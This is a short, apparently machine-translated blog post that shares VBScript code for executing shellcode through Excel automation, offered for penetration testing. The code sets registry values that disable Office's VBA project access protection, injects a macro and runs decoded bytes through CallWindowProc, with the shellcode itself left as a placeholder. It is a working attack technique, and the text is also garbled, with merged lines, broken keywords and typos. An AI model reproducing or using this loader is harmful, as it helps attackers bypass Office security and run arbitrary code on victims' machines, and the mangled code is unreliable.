VBScript (Microsoft Visual Basic Script Editon), Microsoft's Visual BASIC Script version). As literally disclosed, VBS (further abbreviated as VBScript) is a Visual Basic-Based Script Language.
Lcx shares how to use vbs to execute shellcode. It is believed that it can play a role for security researchers in the penetration test process. The source code is as follows:
'Thanks http://demon.tw/.shellcode It is a bullet box and harmless. As we all know, vbs is difficult to execute APIs, but it can still be implemented. This is vbs, not vb! Dim WshShellDim oExcelset WshShell = CreateObject ("wscript. shell ") WshShell. regWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Office \ 11.0 \ Excel \ Security \ AccessVBOM", 1, "REG_DWORD" WshShell. regWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Office \ 12.0 \ Excel \ Security \ AccessVBOM", 1, "REG_DWORD" WshShell. regWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Office \ 14.0 \ Excel \ Security \ AccessVBOM", 1, "REG_DWORD" Sub Create Obj (oExcel) On Error Resume NextSet oExcel = CreateObject ("excel. application") If Err Thenwsh. echo "excel. application not! "End ifEnd Sub CreateObj oExcel Set oBook = oExcel. workbooks. addSet oModule = obook. VBProject. VBComponents. add (1) strCode = "Private Declare Function CallWindowProc Lib" "user32" "Alias" "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, byVal wParam As Long, ByVal lParam As Long) As Long "& vbCr & _" Sub MyMacro "& vbCr & _" Dim download () as Byte "& vbCr & _" Dim xmldoc, node, bytes "& vbCr & _" Set xmldoc = CreateObject ("" Msxml2.DOMDocument "") "& vbCr & _" Set node = xmldoc. createElement ("" binary "") "& vbCr & _" node. dataType = "" bin. hex "" & vbCr & _ "node. text = "" success "" & vbCr & _ "download = node. nodeTypedValue "& vbCr & _" CallWindowProc VarPtr (download (0), ByVal 0 &, ByVal 0 &, ByVal 0 &, byVal 0 & "& vbCr & _" End Sub "oModule. codeModule. addFromString strCodeOn Error Resume nextoExcel. run "MyMacro" oExcel. displayAlerts = FalseoBook. closeoExcel. quit